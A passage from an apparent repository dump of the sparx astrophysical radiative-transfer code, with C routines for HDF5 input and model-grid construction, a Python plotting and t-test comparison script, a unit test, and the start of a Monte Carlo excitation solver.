table\");\n\n\treturn status;\n}\n\n/*----------------------------------------------------------------------------*/\n\nint SpIO_H5ReadTau(hid_t h5f_id, Zone *zone)\n/* Write data of all children to an HDF5 table */\n{\n\tSpPhys *pp = zone->data;\n\n\t/* Just in case the programmer did something stupid */\n\tDeb_ASSERT(pp->mol != NULL);\n\tDeb_ASSERT(pp->tau != NULL);\n\n\tint status = 0;\n\tsize_t\n\t\ti, j,\n\t\tnrad = pp->mol->nrad,\n\t\trecord_size = sizeof(double) * nrad,\n\t\tfield_sizes[nrad],\n\t\tfield_offsets[nrad];\n\tdouble *tau = Mem_CALLOC(zone->nchildren * nrad, tau);\n\therr_t hstatus;\n\n\t/* Init fields */\n\tfor(i = 0; i < nrad; i++) {\n\t\tfield_offsets[i] = i * sizeof(double);\n\t\tfield_sizes[i] = sizeof(double);\n\t}\n\n\t/* Read tau table */\n\thstatus = H5TBread_table(h5f_id, \"TAU\", record_size, field_offsets, field_sizes, tau);\n\tif(hstatus < 0)\n\t\tstatus = Err_SETSTRING(\"Error reading HDF5 `%s' table\", \"TAU\");\n\n\t#define TAU(i, j)\\\n\t\ttau[(j) + nrad * (i)]\n\n\tfor(i = 0; i < zone->nchildren; i++) {\n\t\tpp = zone->children[i]->data;\n\n\t\tfor(j = 0; j < nrad; j++) {\n\t\t\tpp->tau[j] = TAU(i, j);\n\t\t}\n\t}\n\n\t#undef TAU\n\n\tfree(tau);\n\n\treturn status;\n}\n\n/*----------------------------------------------------------------------------*/\n\nint SpIO_H5GetAttribute_string(hid_t h5f_id, const char *obj_name, const char *attr_name, char **attribute)\n{\n\tint status = 0;\n\therr_t hstatus = 0;\n\thsize_t dims;\n\tH5T_class_t class;\n\tsize_t size;\n\n\tif(hstatus >= 0)\n\t\thstatus = H5LTget_attribute_info(h5f_id, obj_name, attr_name, &dims, &class, &size);\n\n\tif(hstatus >= 0) {\n\t\t//esc 20140821: added extra space for null char, as the size of the string\n\t\t//may not contain space for the null char\n\t\t*attribute = Mem_CALLOC(size+1, *attribute);\n\t\thstatus = H5LTget_attribute_string(h5f_id, obj_name, attr_name, *attribute);\n\t}\n\n\tif(hstatus < 0) {\n\t\tPyWrErr_SetString(PyExc_Exception, \"Error getting attribute '%s' from '%s'\", attr_name, obj_name);\n\t\tstatus = 1;\n\t}\n\n\treturn status;\n}\n\n\n\n\n\n" }, { "alpha_fraction": 0.5711231827735901, "alphanum_fraction": 0.5846077799797058, "avg_line_length": 28.153846740722656, "blob_id": "7ef67b0f77ff9feff9d084046dc4256d065c2988", "content_id": "a525ff1f33429e60d9104b77f9387d961250f2ce", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 6081, "license_type": "no_license", "max_line_length": 234, "num_lines": 208, "path": "/src/sparx-task-pygrid.c", "repo_name": "cinchurge/sparx", "src_encoding": "UTF-8", "text": "#include \"sparx.h\"\n\n/* Global parameter struct */\nstatic struct glb {\n\tsize_t nzone;\n\tSpFile *outf;\n\tPyObject *pygrid;\n\tSpModel model;\n\tKappa *dust;\n} glb;\n\nint SpTask_PyGrid(void)\n{\n\tint sts = 0, geom=0;\n\tdouble gas_to_dust=0, T_cmb=0;\n\tsize_t i, j, k, l, m;\n\tGeVec3_d min, max;\n\tGeVec3_s ndiv;\n\tPyObject *obj=0;\n PyArrayObject *n_H2=0, *X_mol=0, *X_pH2=0, *X_oH2=0, *X_e=0, *X_H=0, *X_He=0, *T_k=0, *T_d=0, *T_ff=0, *T_bb=0, *V_t=0, *V_i=0, *V_j=0, *V_k=0, *max_i=0, *max_j=0, *max_k=0, *min_i=0, *min_j=0, *min_k=0, *kapp_d=0, *kapp_ff=0;\n\tZone *zone;\n\tSpPhys *pp;\n\n\t/*\n\t * Inputs\n\t */\n\tMem_BZERO(&glb);\n\n\t/* Get molecule (optional) */\n\tif(!sts && SpPy_CheckOptionalInput(\"molec\")) {\n\t\tsts = SpPy_GetInput_molec(\"molec\", &glb.model.parms.mol);\n\t}\n\n\t/* Retrieve pygrid object */\n\tif(!sts) sts = SpPy_GetInput_PyObj(\"pygrid\", &glb.pygrid);\n\n\t/* Get pointers to pygrid contents */\n\tif(!sts) {\n\t\t/* geom */\n\t\tobj = PyObject_GetAttrString(glb.pygrid, \"geom\");\n\t\tgeom = Sp_PYINT(obj);\n\t\tPy_DECREF(obj);\n\n\t\t/* gas_to_dust */\n\t\tobj = PyObject_GetAttrString(glb.pygrid, \"gas_to_dust\");\n\t\tgas_to_dust = Sp_PYDBL(obj);\n\t\tPy_DECREF(obj);\n\n\t\t/* T_cmb */\n\t\tobj = PyObject_GetAttrString(glb.pygrid, \"T_cmb\");\n\t\tT_cmb = Sp_PYDBL(obj);\n\t\tPy_DECREF(obj);\n\n\t\t/* shape */\n\t\tobj = PyObject_GetAttrString(glb.pygrid, \"shape\");\n\t\tndiv = GeVec3_s_Init(\n\t\t\t(size_t)Sp_PYINT(Sp_PYLST(obj, 0)),\n\t\t\t(size_t)Sp_PYINT(Sp_PYLST(obj, 1)),\n\t\t\t(size_t)Sp_PYINT(Sp_PYLST(obj, 2))\n\t\t);\n\t\tPy_DECREF(obj);\n\n\t\t/* min */\n\t\tobj = PyObject_GetAttrString(glb.pygrid, \"min\");\n\t\tmin = GeVec3_d_Init(\n\t\t\tSp_PYDBL(Sp_PYLST(obj, 0)),\n\t\t\tSp_PYDBL(Sp_PYLST(obj, 1)),\n\t\t\tSp_PYDBL(Sp_PYLST(obj, 2))\n\t\t);\n\t\tPy_DECREF(obj);\n\n\t\t/* max */\n\t\tobj = PyObject_GetAttrString(glb.pygrid, \"max\");\n\t\tmax = GeVec3_d_Init(\n\t\t\tSp_PYDBL(Sp_PYLST(obj, 0)),\n\t\t\tSp_PYDBL(Sp_PYLST(obj, 1)),\n\t\t\tSp_PYDBL(Sp_PYLST(obj, 2))\n\t\t);\n\t\tPy_DECREF(obj);\n\n\t\tmin_i = (PyArrayObject *)PyObject_GetAttrString(glb.pygrid, \"min_i\");\n\t\tmin_j = (PyArrayObject *)PyObject_GetAttrString(glb.pygrid, \"min_j\");\n\t\tmin_k = (PyArrayObject *)PyObject_GetAttrString(glb.pygrid, \"min_k\");\n\n\t\tmax_i = (PyArrayObject *)PyObject_GetAttrString(glb.pygrid, \"max_i\");\n\t\tmax_j = (PyArrayObject *)PyObject_GetAttrString(glb.pygrid, \"max_j\");\n\t\tmax_k = (PyArrayObject *)PyObject_GetAttrString(glb.pygrid, \"max_k\");\n\n\t\tn_H2 = (PyArrayObject *)PyObject_GetAttrString(glb.pygrid, \"n_H2\");\n\t\tX_mol = (PyArrayObject *)PyObject_GetAttrString(glb.pygrid, \"X_mol\");\n\t\tX_pH2 = (PyArrayObject *)PyObject_GetAttrString(glb.pygrid, \"X_pH2\");\n\t\tX_oH2 = (PyArrayObject *)PyObject_GetAttrString(glb.pygrid, \"X_oH2\");\n\t\tX_e = (PyArrayObject *)PyObject_GetAttrString(glb.pygrid, \"X_e\");\n\t\tX_H = (PyArrayObject *)PyObject_GetAttrString(glb.pygrid, \"X_H\");\n\t\tX_He = (PyArrayObject *)PyObject_GetAttrString(glb.pygrid, \"X_He\");\n\t\tT_k = (PyArrayObject *)PyObject_GetAttrString(glb.pygrid, \"T_k\");\n\t\tT_d = (PyArrayObject *)PyObject_GetAttrString(glb.pygrid, \"T_d\");\n\t\tT_ff = (PyArrayObject *)PyObject_GetAttrString(glb.pygrid, \"T_ff\");\n\t\tT_bb = (PyArrayObject *)PyObject_GetAttrString(glb.pygrid, \"T_bb\");\n\t\tV_t = (PyArrayObject *)PyObject_GetAttrString(glb.pygrid, \"V_t\");\n\t\tV_i = (PyArrayObject *)PyObject_GetAttrString(glb.pygrid, \"V_i\");\n\t\tV_j = (PyArrayObject *)PyObject_GetAttrString(glb.pygrid, \"V_j\");\n\t\tV_k = (PyArrayObject *)PyObject_GetAttrString(glb.pygrid, \"V_k\");\n\n\t\tkapp_d = (PyArrayObject *)PyObject_GetAttrString(glb.pygrid, \"kapp_d\");\n\t\tkapp_ff = (PyArrayObject *)PyObject_GetAttrString(glb.pygrid, \"kapp_ff\");\n\t}\n\n\t/* outf */\n\tif(!sts) sts = SpPy_GetInput_spfile(\"out\", &glb.outf, Sp_NEW);\n\n\t/*\n\t * Generate grid\n\t */\n\tif(!sts) {\n\t\tglb.model.parms.gas_to_dust = gas_to_dust;\n\t\tglb.model.parms.T_cmb = T_cmb;\n\t\tSpModel_InitGrid(&glb.model, geom, min, max, ndiv);\n\n\t\tfor(i = 0; i < GeVec3_X(ndiv, 0); i++) {\n\t\t\tfor(j = 0; j < GeVec3_X(ndiv, 1); j++) {\n\t\t\t\tfor(k = 0; k < GeVec3_X(ndiv, 2); k++) {\n\t\t\t\t\tzone = Zone_CHILD2(glb.model.grid, i, j, k);\n\t\t\t\t\tpp = zone->data;\n\n\t\t\t\t\t#define ARRAY(obj, i, j, k)\\\n\t\t\t\t\t\t(*((double *)PyWrArray_GetPtr3((obj), (i), (j), (k))))\n\t\t\t\t\t#define ARRAY_STR(obj, i, j, k)\\\n\t\t\t\t\t\t((char *)PyWrArray_GetPtr3((obj), (i), (j), (k)))\n\n\n\t\t\t\t\tzone->voxel = GeVox_Init(\n\t\t\t\t\t\tgeom,\n\t\t\t\t\t\tARRAY(min_i, i, j, k),\n\t\t\t\t\t\tARRAY(min_j, i, j, k),\n\t\t\t\t\t\tARRAY(min_k, i, j, k),\n\t\t\t\t\t\tARRAY(max_i, i, j, k),\n\t\t\t\t\t\tARRAY(max_j, i, j, k),\n\t\t\t\t\t\tARRAY(max_k, i, j, k)\n\t\t\t\t\t);\n\n\t\t\t\t\tpp->n_H2 = ARRAY(n_H2, i, j, k);\n\t\t\t\t\tpp->X_mol = ARRAY(X_mol, i, j, k);\n\t\t\t\t\tpp->X_pH2 = ARRAY(X_pH2, i, j, k);\n\t\t\t\t\tpp->X_oH2 = ARRAY(X_oH2, i, j, k);\n\t\t\t\t\tpp->X_e = ARRAY(X_e, i, j, k);\n\t\t\t\t\tpp->X_H = ARRAY(X_H, i, j, k);\n\t\t\t\t\tpp->X_He = ARRAY(X_He, i, j, k);\n\t\t\t\t\tpp->T_k = ARRAY(T_k, i, j, k);\n\t\t\t\t\tpp->T_d = ARRAY(T_d, i, j, k);\n\t\t\t\t\tpp->T_ff = ARRAY(T_ff, i, j, k);\n\t\t\t\t\tpp->T_bb = ARRAY(T_bb, i, j, k);\n\t\t\t\t\tpp->V_t = ARRAY(V_t, i, j, k);\n\n\t\t\t\t\tGeVec3_X(pp->v_cen, 0) = ARRAY(V_i, i, j, k); /* m/s */\n\t\t\t\t\tGeVec3_X(pp->v_cen, 1) = ARRAY(V_j, i, j, k); /* m/s */\n\t\t\t\t\tGeVec3_X(pp->v_cen, 2) = ARRAY(V_k, i, j, k); /* m/s */\n\n\t\t\t\t\tstrncpy(pp->kapp_d, ARRAY_STR(kapp_d, i, j, k), ZoneH5_KAPPLEN);\n\t\t\t\t\tstrncpy(pp->kapp_ff, ARRAY_STR(kapp_ff, i, j, k), ZoneH5_KAPPLEN);\n\n\t\t\t\t\t#undef ARRAY\n\t\t\t\t\t#undef ARRAY_STR\n\n\t\t\t\t\t/* Set initial pops to either optically thin or LTE */\n\t\t\t\t\tif(pp->mol) {\n\t\t\t\t\t\tfor(l = 0; l < pp->mol->nlev; l++) {\n\t\t\t\t\t\t\tfor(m = 0; m < Sp_NTHREAD; m++) {\n\t\t\t\t\t\t\t\tpp->pops[m][l] = SpPhys_BoltzPops(pp->mol, l, pp->T_k);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t/* Write model to file */\n\t\tSp_PRINT(\"Wrote model to `%s'\\n\", glb.outf->name);\n\t\tsts = SpIO_FwriteModel(glb.outf, glb.model);\n\t}\n\n\t/*\n\t * Cleanup\n\t */\n\tPy_XDECREF(glb.pygrid);\n\tPy_XDECREF(min_i);\n\tPy_XDECREF(min_j);\n\tPy_XDECREF(min_k);\n\tPy_XDECREF(max_i);\n\tPy_XDECREF(max_j);\n\tPy_XDECREF(max_k);\n\tPy_XDECREF(n_H2);\n\tPy_XDECREF(X_mol);\n\tPy_XDECREF(X_pH2);\n\tPy_XDECREF(X_oH2);\n\tPy_XDECREF(X_e);\n\tPy_XDECREF(X_H);\n\tPy_XDECREF(X_He);\n\tPy_XDECREF(T_k);\n\tPy_XDECREF(V_t);\n\tPy_XDECREF(V_i);\n\tPy_XDECREF(V_j);\n\tPy_XDECREF(V_k);\n\tSpModel_Cleanup(glb.model);\n\tSpIO_CloseFile(glb.outf);\n\n\treturn sts;\n}\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n" }, { "alpha_fraction": 0.6185271143913269, "alphanum_fraction": 0.6474928259849548, "avg_line_length": 28.26799964904785, "blob_id": "1e6a184249ab56378a4397e3c9228c66df65f755", "content_id": "e7f0025dfb87bce7a8e9a953f6ffdefcf8a4b02f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 7319, "license_type": "no_license", "max_line_length": 97, "num_lines": 250, "path": "/bin/sparx-t_test-plot", "repo_name": "cinchurge/sparx", "src_encoding": "UTF-8", "text": "#! /usr/bin/env python\n\ndef read_popsdata(fname):\n\t'''\n\tRead csv file containing sparx population calculation results, with each\n\tcolumn representing different radii, and each row representing a sample run\n\trun.\n\t'''\n\timport re\n\tf_s = open(fname)\n\tfdata = f_s.readlines()\n\tf_s.close()\n\n\t# Get header\n\tstat = {}\n\thdr = [float(re.match(r\"R(.+)pc\", i.strip()).group(1)) for i in fdata[0].strip().split(\",\")[1:]]\n\n\timport numpy as np\n\tdata = np.zeros(shape=(0, len(hdr)), dtype=float)\n\tfor ln in fdata[1:]:\n\t\trecord = ln.strip().split(\",\")[1:]\n\t\trow = [float(i) for i in record]\n\t\tdata = np.vstack([data, row])\n\treturn (data, hdr)\n\ndef read_specdata(fname):\n\t'''\n\tRead csv file containing sparx population calculation results, with each\n\tcolumn representing different radii, and each row representing a sample run\n\trun.\n\t'''\n\timport re\n\tf_s = open(fname)\n\tfdata = f_s.readlines()\n\tf_s.close()\n\n\t# Get header\n\tstat = {}\n\thdr = [float(re.match(r\"V(.+)\", i.strip()).group(1)) for i in fdata[0].strip().split(\",\")[1:]]\n\n\timport numpy as np\n\tdata = np.zeros(shape=(0, len(hdr)), dtype=float)\n\tfor ln in fdata[1:]:\n\t\trecord = ln.strip().split(\",\")[1:]\n\t\trow = [float(i) for i in record]\n\t\tdata = np.vstack([data, row])\n\treturn (data, hdr)\n\n###########################################################\n\nimport argparse\nparser = argparse.ArgumentParser()\nparser.add_argument(\"R1D\", help=\"Directory containing RATRAN results\")\nparser.add_argument(\"S1D\", help=\"Directory containing SPARX 1D results\")\nparser.add_argument(\"S3D\", default=None, nargs=\"?\", help=\"Directory containing SPARX 3D results\")\nparser.add_argument(\"--pops_name\", default=\"data.csv\", help=\"File name of pops data\")\nparser.add_argument(\"--spec_name\", default=\"spec_data.csv\", help=\"File name of spectrum data\")\nparser.add_argument(\"-t\", default=\"\", help=\"Title of this comparison\")\n\nargs = parser.parse_args()\n\nfrom os import path\nfrom matplotlib import pyplot as pl\nfrom matplotlib.ticker import MultipleLocator, FormatStrFormatter\nmajorFormatter = FormatStrFormatter('%.2e')\nimport numpy as np\n\ndef get_data_stats(data):\n\tvar = data.var()\n\tmean = data.mean()\n\treturn mean, var\n\ndef diff_data(data1, data2, cl):\n\tfrom scipy.stats import t as ttest\n\tfrom math import sqrt\n\tfrom numpy import array\n\n\tdata1 = array(data1)\n\tdata2 = array(data2)\n\n\t# df = (n1-1)+(n2-1)\n\tn1 = len(data1)\n\tn2 = len(data2)\n\tdf = (n1-1)+(n2-1)\n\n\t# Since the t-test in scipy assumes a 1-tailed test,\n\t# we must convert the confidence level by dividing\n\t# it by two\n\ttcl = ttest.ppf((1.0-cl)/2.0, df)\n\n\tm1, v1 = get_data_stats(data1)\n\tm2, v2 = get_data_stats(data2)\n\n\tmdiff = m1-m2\n\tvdiff = sqrt(v1/n1 + v2/n2)\n\n\t#lower = mdiff - tcl * vdiff\n\t#upper = mdiff + tcl * vdiff\n\n\terr = tcl * vdiff\n\n\treturn mdiff / m2 * 100.0, vdiff / m2 * 100.0\n\ndef gen_plots(directory):\n\t# Population\n\tpops_data, pops_hdr = read_popsdata(path.join(directory, args.pops_name))\n\tncol = len(pops_hdr)\n\tnrow = pops_data.shape[0]\n\tpl.clf()\n\tfig, ax = pl.subplots()\n\tax.yaxis.set_major_formatter(majorFormatter)\n\n\tfor i in xrange(nrow):\n\t\tpl.plot(pops_hdr, pops_data[i], \":\")\n\n\tmean = np.zeros(shape=(ncol))\n\tfor i in xrange(ncol):\n\t\tmean[i] = pops_data[:,i].mean()\n\n\tpl.plot(pops_hdr, mean, \"-\")\n\txmin = min(pops_hdr)\n\txmax = max(pops_hdr)\n\tpl.xlim(xmin-0.01*abs(xmin), xmax+0.01*abs(xmax))\n\tpl.xlabel(\"Radius [pc]\")\n\tpl.ylabel(\"Upper level fractional density (a.u.)\")\n\tpops_plot_name = directory.replace(\"/\", \"_\")+\"_pops.png\"\n\t#pl.title(plot_name)\n\tpl.savefig(pops_plot_name)\n\t#print \"Saved fiure as '%s'...\" % pops_plot_name\n\n\t# Spectra\n\tspec_data, spec_hdr = read_specdata(path.join(directory, args.spec_name))\n\tncol = len(spec_hdr)\n\tnrow = spec_data.shape[0]\n\tpl.clf()\n\tfig, ax = pl.subplots()\n\tax.yaxis.set_major_formatter(majorFormatter)\n\n\tfor i in xrange(nrow):\n\t\tpl.plot(spec_hdr, spec_data[i], \":\")\n\n\tmean = np.zeros(shape=(ncol))\n\tfor i in xrange(ncol):\n\t\tmean[i] = spec_data[:,i].mean()\n\n\tpl.plot(spec_hdr, mean, \"-\")\n\txmin = min(spec_hdr)\n\txmax = max(spec_hdr)\n\tpl.xlim(xmin-0.01*abs(xmin), xmax+0.01*abs(xmax))\n\tpl.xlabel(\"Velocity [km/s]\")\n\tpl.ylabel(\"Flux [Jy]\")\n\tspec_plot_name = directory.replace(\"/\", \"_\")+\"_spec.png\"\n\tpl.title(spec_plot_name)\n\tpl.savefig(spec_plot_name)\n\t#print \"Saved fiure as '%s'...\" % spec_plot_name\n\treturn pops_plot_name, spec_plot_name\n\ndef do_t_test(expr, ctrl, cl):\n\timport numpy as np\n\tfrom matplotlib import pyplot as pl\n\t# Pops\n\tctrl_data, ctrl_hdr = read_popsdata(path.join(ctrl, args.pops_name))\n\texpr_data, expr_hdr = read_popsdata(path.join(expr, args.pops_name))\n\n\tnrow = ctrl_data.shape[0]\n\tncol = ctrl_data.shape[1]\n\tassert expr_data.shape[1] == ncol\n\n\tmarr = np.array([], dtype=float)\n\tvarr = np.array([], dtype=float)\n\tfor icol in xrange(ncol):\n\t\tm, v = diff_data(expr_data[:,icol], ctrl_data[:,icol], cl)\n\t\tmarr = np.append(marr, m)\n\t\tvarr = np.append(varr, v)\n\tpl.clf()\n\tpl.errorbar(ctrl_hdr, marr, yerr=varr)\n\txmin = min(ctrl_hdr)\n\txmax = max(ctrl_hdr)\n\tpl.xlim(xmin-0.01*abs(xmin), xmax+0.01*abs(xmax))\n\tpl.xlabel(\"Radius [pc]\")\n\tpl.ylabel(\"Fractional difference in upper level density [%]\")\n\tpops_plot_name = expr.replace(\"/\", \"_\")+\"_\"+ctrl.replace(\"/\", \"_\")+\"_pops.png\"\n\tpl.savefig(pops_plot_name)\n\t#print \"Saved figure as '%s'...\" % pops_plot_name\n\n\t# Spectra\n\tctrl_data, ctrl_hdr = read_specdata(path.join(ctrl, args.spec_name))\n\texpr_data, expr_hdr = read_specdata(path.join(expr, args.spec_name))\n\n\tnrow = ctrl_data.shape[0]\n\tncol = ctrl_data.shape[1]\n\tassert expr_data.shape[1] == ncol\n\n\tmarr = np.array([], dtype=float)\n\tvarr = np.array([], dtype=float)\n\tfor icol in xrange(ncol):\n\t\tm, v = diff_data(expr_data[:,icol], ctrl_data[:,icol], cl)\n\t\tmarr = np.append(marr, m)\n\t\tvarr = np.append(varr, v)\n\tpl.clf()\n\tpl.errorbar(ctrl_hdr, marr, yerr=varr)\n\txmin = min(ctrl_hdr)\n\txmax = max(ctrl_hdr)\n\tpl.xlim(xmin-0.01*abs(xmin), xmax+0.01*abs(xmax))\n\tpl.xlabel(\"Velocity [km/s]\")\n\tpl.ylabel(\"Fractional difference in flux [%]\")\n\tspec_plot_name = expr.replace(\"/\", \"_\")+\"_\"+ctrl.replace(\"/\", \"_\")+\"_spec.png\"\n\tpl.savefig(spec_plot_name)\n\t#print \"Saved figure as '%s'...\" % spec_plot_name\n\n\treturn pops_plot_name, spec_plot_name\n\n# R1D\nr1d_pops, r1d_spec = gen_plots(args.R1D)\n\n# S1D\ns1d_pops, s1d_spec = gen_plots(args.S1D)\n\n# S1D-R1D\ns1d_r1d_pops, s1d_r1d_spec = do_t_test(args.S1D, args.R1D, 0.95)\n\ns3d_pops = None\ns3d_spec = None\ns3d_r1d_pops = None\ns3d_r1d_spec = None\nif args.S3D:\n\t# S3D\n\ts3d_pops, s3d_spec = gen_plots(args.S3D)\n\n\t# S3D-R1D\n\ts3d_r1d_pops, s3d_r1d_spec = do_t_test(args.S3D, args.R1D, 0.95)\n\nprint \"<tr>\"\nprint ' <td>'+args.t+'</td>'\nprint ' <td><img src=\"'+r1d_pops+'\" height=\"300\" width=\"400\"></td>'\nprint ' <td><img src=\"'+s1d_pops+'\" height=\"300\" width=\"400\"></td>'\nprint ' <td><img src=\"'+s1d_r1d_pops+'\" height=\"300\" width=\"400\"></td>'\nif s3d_pops:\n\tprint ' <td><img src=\"'+s3d_pops+'\" height=\"300\" width=\"400\"></td>'\n\tprint ' <td><img src=\"'+s3d_r1d_pops+'\" height=\"300\" width=\"400\"></td>'\nprint \"</tr>\"\nprint \"<tr>\"\nprint ' <td></td>'\nprint ' <td><img src=\"'+r1d_spec+'\" height=\"300\" width=\"400\"></td>'\nprint ' <td><img src=\"'+s1d_spec+'\" height=\"300\" width=\"400\"></td>'\nprint ' <td><img src=\"'+s1d_r1d_spec+'\" height=\"300\" width=\"400\"></td>'\nif s3d_spec:\n\tprint ' <td><img src=\"'+s3d_spec+'\" height=\"300\" width=\"400\"></td>'\n\tprint ' <td><img src=\"'+s3d_r1d_spec+'\" height=\"300\" width=\"400\"></td>'\nprint \"</tr>\"\n\n\n" }, { "alpha_fraction": 0.5608060956001282, "alphanum_fraction": 0.5788742303848267, "avg_line_length": 31.704545974731445, "blob_id": "31596afa94f8b25dd0d8baf48e5acd706ce4010a", "content_id": "24cdc301f29b474c1d58e30ec8051d7170fd480e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1439, "license_type": "no_license", "max_line_length": 87, "num_lines": 44, "path": "/unit/test_rays.py", "repo_name": "cinchurge/sparx", "src_encoding": "UTF-8", "text": "import unittest\nfrom sparx.regtest import UnitTestCase, use_rundir\nimport os\n\nfrom os.path import dirname, basename, join\n\nclass TestRays(UnitTestCase):\n def setup_grid(self):\n import numpy as np\n from sparx.grid import Grid_sph1d\n nr = 100\n print \"Testing with nshells={}\".format(nr)\n grid = Grid_sph1d(nr, 0.1)\n for pos in np.ndindex(*grid.shape):\n grid.n_H2[pos] = 1e4 * 1e6\n grid.T_k[pos] = 10\n grid.X_mol[pos] = 1e-10\n grid.V_t[pos] = 1e3\n grid.V_i[pos] = 100e3 * grid.cen_i[pos]\n grid.write_hdf5(\"test_rays.h5\")\n grid.write_ratran(\"test_rays.mdl\")\n return\n\n @unittest.skip(\"Test poorly designed\")\n @use_rundir\n def test_rays(self):\n self.setup_grid()\n from sparx.inputs import INP_DICT\n INP_DICT[\"source\"] = \"test_rays.h5\"\n from sparx._sparx import test_velocity\n test_velocity()\n import filecmp, shutil\n # Test if vfac is correct\n shutil.copyfile(join(self.get_datadir(), \"test.amc\"), \"test.amc\")\n import subprocess as subp\n subp.check_call(\"amc test.amc\", shell=True, stdout=subp.PIPE, stderr=subp.PIPE)\n with open(\"amc_debug.log\") as fa, open(\"debug.log\") as fb:\n a = fa.readlines()\n b = fb.readlines()\n self.assertEqual(a, b)\n return\n\nif __name__ == '__main__':\n unittest.main()\n" }, { "alpha_fraction": 0.5561861395835876, "alphanum_fraction": 0.5724654793739319, "avg_line_length": 24.399089813232422, "blob_id": "0e8511479c02edb63a62a61e1d20043be1f57eac", "content_id": "30ec247a0abeb13c42ace8880e18fa9781c96b7a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 33478, "license_type": "no_license", "max_line_length": 149, "num_lines": 1318, "path": "/src/sparx-task-amc2.c", "repo_name": "cinchurge/sparx", "src_encoding": "UTF-8", "text": "#include \"sparx.h\"\n#include <gsl/gsl_rng.h>\n\n#if 0 //esc 09Dec15: failed attempt at dynamic load balancing\n\nenum {\n\tSTAGE_FIX,\n\tSTAGE_RAN,\n\tSTAGE_N\n};\n\n/* Global parameter struct */\nstatic struct glb {\n\tSpFile *outf;\n\tSpModel model;\n\tsize_t nzone, nray, nconv, maxi, rani, nray_tot;\n\tZone **zones;\n\tsize_t *zone_rank, *zone_tid, izone;\n\tgsl_rng *rng[Sp_NTHREAD];\n\tunsigned long seed;\n\tdouble tolerance, minpop, snr, *I_norm, *I_cmb, max_diff;\n\tint stage, fully_random, lte;\n\n\tpthread_mutex_t exc_mutex, izone_mutex;\n} glb;\n\n/* Subroutine prototypes */\nint SpTask_Amc(void);\nstatic int InitModel(void);\nstatic void *InitModelThread(void *tid_p);\nstatic int CalcExc(void);\nstatic void *CalcExcThread(void *tid_p);\nstatic void SyncProcs(void);\nstatic void SyncPops(size_t izone);\nstatic void CalcRays(size_t tid, Zone *zone, double *ds0, double *vfac0,\n\tdouble *intensity, double *tau);\nstatic void RadiativeXfer(size_t tid, Zone *zone, GeRay *ray, double vel, double *ds0,\n\tdouble *vfac0, double *intensity, double *tau);\nstatic void RadiativeXfer2(size_t tid, Zone *zone, GeRay *ray, double vel, double *ds0,\n\tdouble *vfac0, double *intensity, double *tau);\nstatic void CalcDetailedBalance(size_t tid, SpPhys *pp, const double *ds0,\n\tconst double *vfac0, const double *intensity, const double *tau);\nstatic void CalcJbar(size_t tid, SpPhys *pp, const double *ds0, const double *vfac0,\n\tconst double *intensity, const double *tau, double *J_bar);\nstatic double CalcDiff(const double *hist, size_t *max_diff_lev);\nstatic double CalcDiff2(const double *hist, size_t *max_diff_lev);\nstatic void Cleanup(void);\n\n/*----------------------------------------------------------------------------*/\n\n/* Some useful definitions */\n#define NLEV\\\n\t(glb.model.parms.mol->nlev)\n#define NRAD\\\n\t(glb.model.parms.mol->nrad)\n#define RAD(i)\\\n\t(glb.model.parms.mol->rad[i])\n#define FREQ(i)\\\n\t(glb.model.parms.mol->rad[i]->freq)\n#define NCOL\\\n\t(glb.model.parms.mol->ncol)\n#define COLL(i)\\\n\t(glb.model.parms.mol->col[i])\n#define NCTR(i)\\\n\t(COLL(i)->ntr)\n#define CTR(i, j)\\\n\t(COLL(i)->tr[j])\n#define CSPECIES(i)\\\n\t(glb.model.parms.mol->col[i]->species)\n\n/*----------------------------------------------------------------------------*/\n\nint SpTask_Amc2(void)\n{\n\tsize_t i;\n\tint status = 0;\n\n\t/* Reset parms */\n\tMem_BZERO(&glb);\n\n\t/* Read keywords */\n\tglb.nray = SpInp_GetKey_size_t(\"nrays\");\n\tglb.maxi = SpInp_GetKey_size_t(\"maxiter\");\n\tglb.rani = SpInp_GetKey_size_t(\"raniter\") - 1;\n\tglb.tolerance = SpInp_GetKey_dbl(\"fixlev\");\n\tglb.snr = SpInp_GetKey_dbl(\"ranlev\");\n\tglb.minpop = SpInp_GetKey_dbl(\"minpop\");\n\tglb.lte = SpInp_GetKey_TF(\"lte\");\n\t/* Init RNG seed */\n\tglb.seed = (unsigned long)time(NULL);\n\n\t/* Init RNG */\n\tfor(i = 0; i < Sp_NTHREAD; i++) {\n\t\tglb.rng[i] = gsl_rng_alloc(gsl_rng_ranlux);\n\t\tgsl_rng_set(glb.rng[i], glb.seed);\n\t}\n\n\t#ifdef HAVE_MPI\n\t//Sp_PRINT(\"RANK[%d]: SIZE=%d\\n\", Sp_MPIRANK, Sp_MPISIZE);\n\t//Sp_PRINT(\"-->RANK[%d]: SIZE=%d\\n\", Sp_parm.mpi_rank, Sp_parm.mpi_size);\n\t#endif\n\n\n\t/* Load source model */\n\tif(!status)\n\t\tstatus = SpInp_GetKey_model(\"source\", &glb.model);\n\n\t/* Source model must not already contain pops */\n\tassert(glb.model.parms.mol == NULL);\n\n\t/* Load molecule */\n\tif(!status && !(glb.model.parms.mol = SpInp_GetKey_molec(\"molec\")))\n\t\tstatus = 1;\n\n\t/* Open output file handle -- only the master process can write files! */\n\tif(Sp_MPIRANK == 0) {\n\t\tif(!status && !(glb.outf = SpInp_GetKey_spfile(\"out\", Sp_NEW)))\n\t\t\tstatus = 1;\n\t}\n\n\t/* Initialize model */\n\tif(!status)\n\t\tstatus = InitModel();\n\n\t/* Calculate excitation */\n\tif(!status)\n\t\tstatus = CalcExc();\n\n\t/* Write model to file */\n\tif(Sp_MPIRANK == 0) {\n\t\tif(!status)\n\t\t\tstatus = SpIO_FwriteModel(glb.outf, glb.model);\n\n\t\tif(!status)\n\t\t\tSp_PRINT(\"Wrote output model to `%s'\\n\", glb.outf->name);\n\t}\n\n\t/* Cleanup */\n\tCleanup();\n\n\treturn status;\n}\n\n/*----------------------------------------------------------------------------*/\n\nstatic void Cleanup(void)\n{\n\tsize_t i;\n\n\tif(Sp_MPIRANK == 0 && 